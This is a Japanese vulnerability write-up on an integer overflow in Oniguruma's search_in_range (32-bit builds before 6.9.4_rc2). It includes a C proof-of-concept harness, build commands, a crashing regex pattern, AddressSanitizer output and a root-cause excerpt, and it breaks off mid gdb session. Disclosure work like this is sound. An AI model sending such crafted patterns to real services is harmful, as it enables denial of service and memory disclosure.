Oniguruma における整数オーバーフロー

Oniguruma 6.x（6.9.4_rc2 より前）の regexec.c の search_in_range 関数における整数オーバーフローは、範囲外読み取りを引き起こします。この読み取りのオフセットは攻撃者の制御下にあります。（これは 32 ビットでコンパイルされたバージョンのみに影響します）。リモートの攻撃者は、巧妙に細工された正規表現によって、サービス拒否や情報漏えい、あるいはその他の不特定の影響を引き起こす可能性があります。

研究者: ManhND（The Tarantula Team、VinCSS（Vingroup のメンバー））

Oniguruma とは

Oniguruma は K. Kosako による、BSD ライセンスの正規表現ライブラリであり、さまざまな文字エンコーディングをサポートしています。Ruby プログラミング言語（バージョン 1.9）や PHP のマルチバイト文字列モジュール（PHP5 以降）は、正規表現エンジンとして Oniguruma を使用しています。また、Atom、GyazMail、Take Command Console、Tera Term、TextMate、Sublime Text、SubEthaEdit などの製品でも使用されています。

概念実証

以下は C による PoC です。最初の引数としてパターンを、2 番目の引数としてマッチさせる文字列を受け取ります。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"

static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
  int r;
  unsigned char *start, *range;
  OnigRegion *region;

  region = onig_region_new();

  start = str;
  range = end;
  r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
  if (r >= 0 ) {
    int i;

    fprintf(stdout, "match at %d  (%s)\n", r,
            ONIGENC_NAME(onig_get_encoding(reg)));
    for (i = 0; i < region->num_regs; i++) {
      fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
    }
  }
  else if (r == ONIG_MISMATCH) {
    fprintf(stdout, "search fail (%s)\n",
            ONIGENC_NAME(onig_get_encoding(reg)));
  }
  else { /* error */
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r);
    fprintf(stdout, "ERROR: %s\n", s);
    fprintf(stdout, "  (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
    
    onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
    return -1;
  }

  onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
  return 0;
}

int main(int argc, char* argv[])
{
  int r;
  regex_t* reg;
  OnigErrorInfo einfo;

  char *pattern = argv[1];
  char *pattern_end = pattern + strlen(pattern);
  OnigEncodingType *enc = ONIG_ENCODING_ASCII;

  char* str = argv[2];
  char* str_end = str+strlen(str);

  onig_initialize(&enc, 1);
  r = onig_new(&reg, (unsigned char *)pattern, (unsigned char *)pattern_end,
               ONIG_OPTION_IGNORECASE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
  if (r != ONIG_NORMAL) {
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r, &einfo);
    fprintf(stdout, "ERROR: %s\n", s);
    onig_end();

    if (r == ONIGERR_PARSER_BUG ||
        r == ONIGERR_STACK_BUG  ||
        r == ONIGERR_UNDEFINED_BYTECODE ||
        r == ONIGERR_UNEXPECTED_BYTECODE) {
      return -2;
    }
    else
      return -1;
  }

  if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
    r = search(reg, str, str_end);
  } else {
    fprintf(stdout, "Invalid string\n");
  }

  onig_free(reg);
  onig_end();
  return 0;
}

Oniguruma と PoC を 32 ビットでコンパイルします:

./configure CC=gcc CFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" LDFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" && make
gcc -m32 -fsanitize=address -O0 -I./oniguruma/src -ggdb3 PoC.c ./oniguruma/src/.libs/libonig.a -o PoC

バグを引き起こすには、文字列 "x" と、"x{a}{b}0" の形式のパターンを指定します。ここで a と b は 100000 より小さい値です。例:

root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# ./PoC x{50000}{80000}0 x
ASAN:SIGSEGV
=================================================================
==4961==ERROR: AddressSanitizer: SEGV on unknown address 0xee5a5fdb (pc 0x080bf994 bp 0xffef2418 sp 0xffef23e0 T0)
    #0 0x80bf993 in sunday_quick_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831
    #1 0x80c0685 in forward_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4956
    #2 0x80c2830 in search_in_range /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5375
    #3 0x80c17f4 in onig_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5168
    #4 0x8048cc4 in search /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:17
    #5 0x8049536 in main /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:78
    #6 0xf7049636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #7 0x8048b00  (/root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range+0x8048b00)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831 sunday_quick_search
==4961==ABORTING
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma#

分析

参照ソースコードバージョン: ca7ddbd858dcdc8322d619cf41ab125a2603a0d4

根本原因は、regex.c:5365 の行にあります。ここで整数オーバーフローが発生します:

5360	      sch_range = (UChar* )range;
5361	      if (reg->dmax != 0) {
5362	        if (reg->dmax == INFINITE_LEN)
5363	          sch_range = (UChar* )end;
5364	        else {
5365	          sch_range += reg->dmax;  //// => overflow
5366	          if (sch_range > end) sch_range = (UChar* )end;
5367	        }
5368	      }

整数オーバーフローは、reg->dmax が十分に大きな値になったときに発生します。reg->dmax は、パターン "x{<number>}y" における <number> に等しい距離であるようです。ここで x は任意の文字、y は数字でなければなりません。たとえば、パターン "a{1000}5" を指定した場合、reg->dmax = 1000 となります。次の gdb ログは "./PoC a{1000}5 b" を使用したものです:

root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# gdb ./PoC
...
(gdb) b 61 # set breakpoint after onig_new
Breakpoint 1 at 0x804943d: file poc-dmax-search-in-range.c, line 61.
(gdb) r a{1000}0 b
Starting program: /root/fuzz/fuzz_oniguruma/PoC a{1000}0 b
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".